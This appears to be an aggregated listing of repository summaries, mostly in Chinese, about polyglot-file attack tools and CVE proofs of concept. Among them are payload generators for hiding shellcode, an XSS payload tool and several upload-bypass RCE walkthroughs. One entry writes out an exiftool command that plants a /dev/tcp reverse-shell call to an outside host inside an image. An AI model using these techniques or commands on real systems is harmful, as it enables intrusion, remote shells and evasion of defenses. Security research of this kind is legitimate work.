CVE-2023-24610

CVE-2023-24610 这是针对 CVE-2023-24610 的概念验证 首先，我们使用 exiftool 创建一个多语言文件： exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php 我们将文件改为 png 格式，以通过前端检查 之后，我们在 8888 端口启动一个 nc 监听器来接收 shell。 下一步是登录应用程序并点击设置 在页面底部，我们看到一个练习标志区域。我们可以通过右侧的编辑按钮上传文件 点击编辑，然后点击浏览，选择我们在第一步创建的“.png”文件 在上传之前，确保我们用...

gitgalaxy

GitGalaxy 无需编译的仓库级结构智能。 文档 · 可视化工具 · 语言 熔炉 · 原始 输出 1 次扫描 · 97 项结构信号 · 50+ 种语言 · 无需编译 · 19 类风险暴露 · 6 种输出 简而言之 GitGalaxy 直接从源代码文本构建整个仓库的语言无关结构图 。 它专为多语言、部分损坏、遗留、重度依赖第三方、或通过构建优先工作流难以分析的其他类型仓库而设计。 GitGalaxy 无需为每种语言提供成功的构建和单独的解析器/工具链，而是提取一组通用的结构签名...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 混合型载荷（Polyglot Payload） 最近几周（2025年11月），pdfminer.six 中披露了一个有趣的漏洞（CVE-2025-64512），这是一个用于处理 PDF 文件的流行 Python 项目，尤其在 AI 管道中被使用。该漏洞通过 pickle.loads 反序列化不受信任的数据，并利用 PDF 文件作为攻击向量，从而实现远程代码执行。事情到此为止：这是在一个流行的 Python 包中一个重要的漏洞。但引起我注意的是它的可利用性 👀。 在类 Linux 系统上，只能解析文件系统中的文件。攻击者需要提供恶意 PDF 文件供处理，并且恶...

SNOWCRASH

SNOWCRASH 一个多语言有效载荷生成器 简介 SNOWCRASH 创建一个可在 Linux 和 Windows 机器上启动的脚本。用户选择的有效载荷（此处为 Bash 和 Powershell 组合代码）被嵌入到一个与平台无关的多语言模板中。 目前提供少数有效载荷，包括命令执行、反弹 Shell 建立、二进制文件执行等 : 基本用法 1. 安装依赖：./install.sh 2. 列出可用有效载荷：./snowcrash --list 3. 生成所选有效载荷：./snowcrash --payload memexec --out polyglotscript 4...

XanXSS

XanXSS XanXSS 是一款反射型 XSS 搜索工具（DOM 版本即将推出），它能基于模板生成 payload。与其他仅仅遍历 payload 列表的 XSS 扫描器不同，XanXSS 会努力让 payload 变得难以识别，例如： root@kitploit: /cLIcKMe!XaNxss 使用 XanXSS，每个 payload 都各不相同。XanXSS 的工作原理是遍历 payload，直到找到指定数量的有效 payload 或计时器达到最大时间，这可以避免无限循环。XanXSS 包含的一些功能： 使用 -H 传递自定义请求头 使用 -P 生成多语言脚本（polyglot）...

Payload-and-Polyglot-Lists

Payload 与 Polyglot 列表 发现一个不起作用的 payload？ 请 open an issue 附上 payload、目标上下文以及你期望的结果。欢迎提交修复或新 payload 的 Pull Request。 研究正在进行中。 该项目正在积极开发中，并将定期更新新的 payload、漏洞类别和验证改进。 免责声明： 这些 payload 仅供授权安全测试、教育和研究目的使用。作者对任何滥用或下游影响不承担任何责任。完全由使用者自行承担风险。使用本项目即表示您对自己的行为承担全部责任。 许可证： MIT - 参见 LICENSE 1,353 个经过验证的注入...

powerglot

Powerglot Powerglot 使用多语言混写技术对多种脚本进行编码，例如攻击性的 PowerShell 脚本。无需加载器即可运行载荷。 在红队演练或攻击任务中，通常使用隐写术来掩盖载荷，尤其是为了绕过网络层面的防护，而最常见的载荷脚本是用 PowerShell 编写的。最近的恶意软件和 APT 组织利用了其中一些能力：APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、The Dukes（Ghost 行动）、Titanium 等。 Powerglot...

pixload

pixload -- Herramientas de creación de payloads en imágenes DESCRIPCIÓN Conjunto de herramientas para ocultar backdoors crear/inyectar payloads en imágenes. Actualmente se admiten los siguientes tipos de imagen: BMP, GIF, JPG, PNG, WebP. acerca de Referencias útiles para entender mejor pixload y...

tweetable-polyglot-png

tweetable-polyglot-png 将最多3MB的数据打包成一个可推文的PNG多格式文件。 在此查看实际效果：https://twitter.com/David3141593/status/1371974874856587268 我已经验证过此技术可用的其他图片托管平台： Imgur https://i.imgur.com/kNhGrN3.png Github仓库缩略图/标题图片 https://repository-images.githubusercontent.com/348501512/06710f00-8886-11eb-95d1-3f416fa3853a Disco...

EXPLOIT-CVE-2025-27515

CVE-2025-27515 概念验证 CVE-2025-27515 的实用演示，这是一个 Laravel 框架（≤ 12.0.0）中的文件上传验证绕过漏洞。 漏洞概述 CVE-2025-27515 是一个验证绕过漏洞，当 Laravel 应用程序使用通配符验证模式（files.）时，攻击者可以规避文件上传限制。该漏洞通过利用 Laravel 处理基于数组的文件上传时的缺陷，允许上传恶意文件。 严重性： 中/高 CWE: CWE-20（输入验证不当） 攻击向量 该利用使用 多语言 JPEG+PHP 文件 ，该文件： 包含有效的 JPEG 幻数（FF D8 FF E0）以绕过 MIME...

BobTheSmuggler

BobTheSmuggler 快速更新 2024年1月15日 -已添加多文件压缩支持 。如果你有多个文件用于最终载荷（例如，DLL侧加载文件或多阶段投递文件），现在可以使用 '-i' 选项指定目录路径。如果提供了目录路径，BobTheSmuggler 将自动归档该目录中的所有文件，对归档文件进行 XOR 加密，并将其嵌入 PNG/GIF 中。 项目描述 查看我的博客，深入了解如何使用该工具：BobTheSmuggler：用于不可检测载荷投递的隐秘网络瑞士军刀。 "Bob the Smuggler" 是一款利用 HTML 走私攻击并允许你创建包含嵌入式 7z/zip 归档文件的 HTML...

bad-dicom

Bad-DICOM 我手工打造的 CVE-2019-11687 漏洞利用工具的概念验证。 我制作了这个 PEDICOM 作为我大学毕业论文的 Proof of Concept：“基于 DICOM 文件漏洞对医疗管理服务的攻击检测与防御”。 什么是 PEDICOM DoomDicom.dcm 是一个 PEDICOM，一种多语言文件，既可以作为功能完整的 PE，同时也可以作为合法的 DICOM。 有关这些文件的更多信息，请阅读 d00rt 的原始论文 如何使用 你可以通过两种主要方式打开此文件： 1. 作为 DCM：使用 DicomViewer（如 MicroDicomViewer）或以...

polyshell

PolyShell: 一个 Bash/Batch/PowerShell 多语言脚本 这是什么 PolyShell 是一个在 Bash、Windows Batch 和 PowerShell 中同时有效的脚本（即一个多语言脚本）。 这使得 PolyShell 成为渗透测试的有用模板，因为它可以在大多数系统上执行，而无需针对特定目标的 payload。 PolyShell 还专门设计为可通过使用 USB Rubby Ducky、MalDuino 或类似设备的输入注入进行交付。 如何使用 作为独立脚本 1. 复制/重命名脚本，使其具有正确的文件扩展名（.sh、.bat 或 .ps1）。 2. 使...

DKMC

别杀我的猫 DKMC Windows 10 现在限制了 shellcode 载荷的正常运行，因为需要 RWX 页面来解码和执行 shellcode。DKMC 可以更新以设置具有适当权限的内存页面。 别杀我的猫是一款工具，它能生成存储在多重图像中的混淆 shellcode。该图像 100% 有效，同时也是 100% 有效的 shellcode。其思路是避免沙箱分析，因为它只是一张简单的“合法”图像。目前该工具依赖 PowerShell 来执行最终的 shellcode 载荷。 为什么叫“别杀我的猫”？因为我不擅长为工具起名，所以决定利用默认 BMP 图像是一只猫的事实来命名。...

dompdf-rce

Exploit de RCE para dompdf Este repositorio contiene una aplicación de demostración vulnerable que utiliza dompdf 1.2.0 y un exploit que logra ejecución remota de código mediante un archivo políglota ttf+php. Para más detalles, visite https://positive.security/blog/dompdf-rce Instrucciones 1...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS 版本 " image.jpg 4） 将此文件重命名为 image.php。 5） 在表单页面上，上传创建的 image.php 文件。 6） 现在，要运行此文件，只需访问 https://yoursite.com/assets/image.php 注意：将https://yoursite.com 替换为你的测试安装地址。 参考 GHSA-72hg-5wr5-rmfc...

CVE-2025-58440

CVE-2025-58440 Ejecución Remota de Código RCE mediante ataque de archivo políglota e inyección de byte nulo en Laravel FileManager Resumen Las versiones 2.11 del paquete unisharp/laravel-filemanager son vulnerables a Ejecución Remota de Código RCE debido a una validación inadecuada del tipo de...

PyStegosploit

PyStegosploit - 通过隐写术与多格式文件实现漏洞利用投递 video1 | video2 | page 作者：Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael 2021年5月...

CVE-2026-86436

Lara Dashboard before 1.3.2 fails to authorize access to the post-builder image and video upload endpoints, allowing authenticated accounts without content permissions to upload files. Attackers can upload polyglot files with attacker-chosen extensions to the public web root and execute code if t...

CVE-2026-86436 Lara Dashboard before 1.3.2 Missing Authorization in Post-Builder Media Upload Endpoints

Lara Dashboard before 1.3.2 fails to authorize access to the post-builder image and video upload endpoints, allowing authenticated accounts without content permissions to upload files. Attackers can upload polyglot files with attacker-chosen extensions to the public web root and execute code if t...